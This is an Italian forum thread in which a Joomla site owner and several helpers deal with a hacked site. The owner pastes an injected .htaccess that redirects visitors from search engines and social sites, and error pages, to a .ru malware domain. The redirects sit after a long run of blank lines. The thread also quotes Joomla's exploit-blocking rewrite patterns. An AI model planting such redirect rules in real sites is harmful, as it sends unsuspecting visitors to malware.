problemi con DNS?

salve, non sono molto pratico, ma sembra che nel mio sito, con l'indirizzo classico, croack.altervista.org/ si venga rimandati a siti indesiderati, mentre con www.croack.altervista.org/ non ci sono problemi.

L'indirizzo che da problemi viene fuori anche con le ricerche su google e i siti che escono fuori andando all'indirizzo in questione sembrano essere presenti malware.

Grazie dell'attenzione

Cordiali Saluti

[dapeco]

Sembrerebbe piuttosto una compromissione dell'.htaccess del tuo account.

Verifica che non ci sia codice malevolo (l'ingranaggio della gestione file), cambia tutte le credenziali di accesso all'account ed aggiorna (elimina) eventuali cms (forum, gallery, blog, applicativi etc) che utilizzi sull'account.

bene, grazie 1000. Allora innanzituto ho modificato la password di accesso al sito, poi sono andato dove mi dicevi e non ho trovato avvisi particolari comunque ho salvato le impostazioni predefinite, poi ho aggiornato joomla alla versione 1.5.26 dalla 1.5.14 che era. Il problema sembrerebbe risolto, ora il link http://croack.altervista.org/ permette la visualizzazione del sito.... però se cerco il sito su google o se clicco su un link di siti esterni dove c'è appunto l'indirizo http://croack.altervista.org/ no si arriva alla pagina in questioen ma alla home di google (forse perché uso chrome?!?)... qualche consiglio?

grazie ancora.

per rendere l'idea, da questa ricerca di google, cliccando sul link, appunto non si arriva alla pagina del sito, suggerimenti?

http://www.google.it/search?source=i...w=1278&bih=658

[karl94]

Scrivi qui il contenuto del file .htaccess presente nella cartella principale del tuo spazio web.

##
# @version $Id: htaccess.txt 21064 2011-04-03 22:12:19Z dextercowley $
# @package Joomla
# @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
# @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
# Joomla! is Free Software
##


#####################################################
#  READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE
#
# The line just below this section: 'Options +FollowSymLinks' may cause problems
# with some server configurations.  It is required for use of mod_rewrite, but may already
# be set by your server administrator in a way that dissallows changing it in
# your .htaccess file.  If using it causes your server to error out, comment it out (add # to
# beginning of line), reload your site in your browser and test your sef url's.  If they work,
# it has been set by your server administrator and you do not need it set here.
#
#####################################################

##  Can be commented out if causes errors, see notes above.
Options +FollowSymLinks

#
#  mod_rewrite in use

RewriteEngine On

########## Begin - Rewrite rules to block out some common exploits
## If you experience problems on your site block out the operations listed below
## This attempts to block the most common type of exploit `attempts` to Joomla!
#
## Deny access to extension xml files (uncomment out to activate)
#<Files ~ "\.xml$">
#Order allow,deny
#Deny from all
#Satisfy all
#</Files>
## End of deny access to extension xml files
# Block out any script trying to set a mosConfig value through the URL
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]
# Block out any script trying to base64_encode data within the URL
RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]
# Block out any script that includes a <script> tag in URL
RewriteCond %{QUERY_STRING} (<|%3C)([^s]*s)+cript.*(>|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to modify a _REQUEST variable via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
# Return 403 Forbidden header and show the content of the root homepage
RewriteRule .* index.php [F]
#
########## End - Rewrite rules to block out some common exploits


########## Begin - Custom redirects
#
# If you need to redirect some pages, or set a canonical non-www to
# www redirect (or vice versa), place that code here. Ensure those
# redirects use the correct RewriteRule syntax and the [R=301,L] flags.
#
########## End - Custom redirects


#  Uncomment following line if your webserver's URL
#  is not directly related to physical file paths.
#  Update Your Joomla! Directory (just / for root)

# RewriteBase /


########## Begin - Joomla! core SEF Section
#
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
#
# If the requested path and file is not /index.php and the request
# has not already been internally rewritten to the index.php script
RewriteCond %{REQUEST_URI} !^/index\.php
# and the request is for root, or for an extensionless URL, or the
# requested URL ends with one of the listed extensions
RewriteCond %{REQUEST_URI} (/[^.]*|\.(php|html?|feed|pdf|raw))$ [NC]
# and the requested path and file doesn't directly match a physical file
RewriteCond %{REQUEST_FILENAME} !-f
# and the requested path and file doesn't directly match a physical folder
RewriteCond %{REQUEST_FILENAME} !-d
# internally rewrite the request to the index.php script
RewriteRule .* index.php [L]
#
########## End - Joomla! core SEF Section

[karl94]

Sembra tutto regolare. Allora il problema è da ricercare nei vari script PHP.

dunque, i problemi sembravano superati invece ritornano, adesso, nonostante provi ad uploadare htaccess.txt pulito e venga sovrascritto, dal pannello altervista .htaccess Editor Impostazioni per / - Avanzato, trovo ciò:


<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|ex cite|altavista|msn|netscape|aol|hotbot|goto|infose ek|mamma|alltheweb|lycos|search|metacrawler|bing|d ogpile|facebook|twitter|blog|live|myspace|linkedin |flickr|filesearch|yell|openstat|metabot|gigablast |entireweb|amfibi|dmoz|yippy|walhello|webcrawler|j ayde|findwhat|teoma|euroseek|wisenut|about|thunder stone|ixquick|terra|lookle|metaeureka|searchspot|s lider|topseven|allthesites|libero|clickey|galaxy|b rainysearch|pocketflier|verygoodsearch|bellnet|fre enet|fireball|flemiro|suchbot|acoon|devaro|fastbot |netzindex|abacho|allesklar|suchnase|schnellsuche| sharelook|sucharchiv|suchbiene|suchmaschine|infosp ace)\.(.*)
RewriteRule ^(.*)$ http://globalscapesdoubleplatinum.ru/VEREIN?8 [R=301,L]
RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|freenet|a rcor|alexana|tiscali|kataweb|voila|sfr|startpagina |kpnvandaag|ilse|wanadoo|telfort|hispavista|passag en|spray|eniro|telia|bluewin|sympatico|nlsearch|at search|klammeraffe|sharelook|suchknecht|ebay|abizd irectory|alltheuk|bhanvad|daffodil|click4choice|ex alead|findelio|gasta|gimpsy|globalsearchdirectory| hotfrog|jobrapido|kingdomseek|mojeek|searchers|sim plyhired|splut|thisisouryear|ukkey|uwe|friendsreun ited|jaan|qp|rtl|apollo7|bricabrac|findloo|kobala| limier|express|bestireland|browseireland|finditire land|iesearch|kompass|startsiden|confex|finnalle|g ulesider|keyweb|finnfirma|kvasir|savio|sol|startsi den|allpages|america|botw|chapu|claymont|clickz|cl ush|ehow|findhow|icq|westaustraliaonline)\.(.*)
RewriteRule ^(.*)$ http://globalscapesdoubleplatinum.ru/VEREIN?8 [R=301,L]
</IfModule>







Options +FollowSymLinks

DirectoryIndex index.php
RewriteEngine On
RewriteBase /

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_URI} !^/index.php
RewriteCond %{REQUEST_URI} (/|\.php|\.html|\.htm|\.feed|\.pdf|\.raw|/[^.]*)$ [NC]
RewriteRule (.*) index.php
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization},L]

########## Begin - Rewrite rules to block out some common exploits
## If you experience problems on your site block out the operations listed below
## This attempts to block the most common type of exploit `attempts` to Joomla!
#
# Block out any script trying to set a mosConfig value through the URL
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]
# Block out any script trying to base64_encode crap to send via URL
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
# Block out any script that includes a <script> tag in URL
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to modify a _REQUEST variable via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
# Send all blocked request to homepage with 403 Forbidden error!
RewriteRule ^(.*)$ index.php [F,L]
#
########## End - Rewrite rules to block out some common exploits























































ErrorDocument 500 http://globalscapesdoubleplatinum.ru/VEREIN?8
ErrorDocument 404 http://globalscapesdoubleplatinum.ru/VEREIN?8

dove ovviamente c'è qualcosa che non va. :(

qualche consiglio?

[Gianluca]

Hai seguito i consigli di dapeco, inclusa la pulizia del tuo pc? Ti converrebbe anche reinstallare joomla da 0, partendo da un'installazione pulita.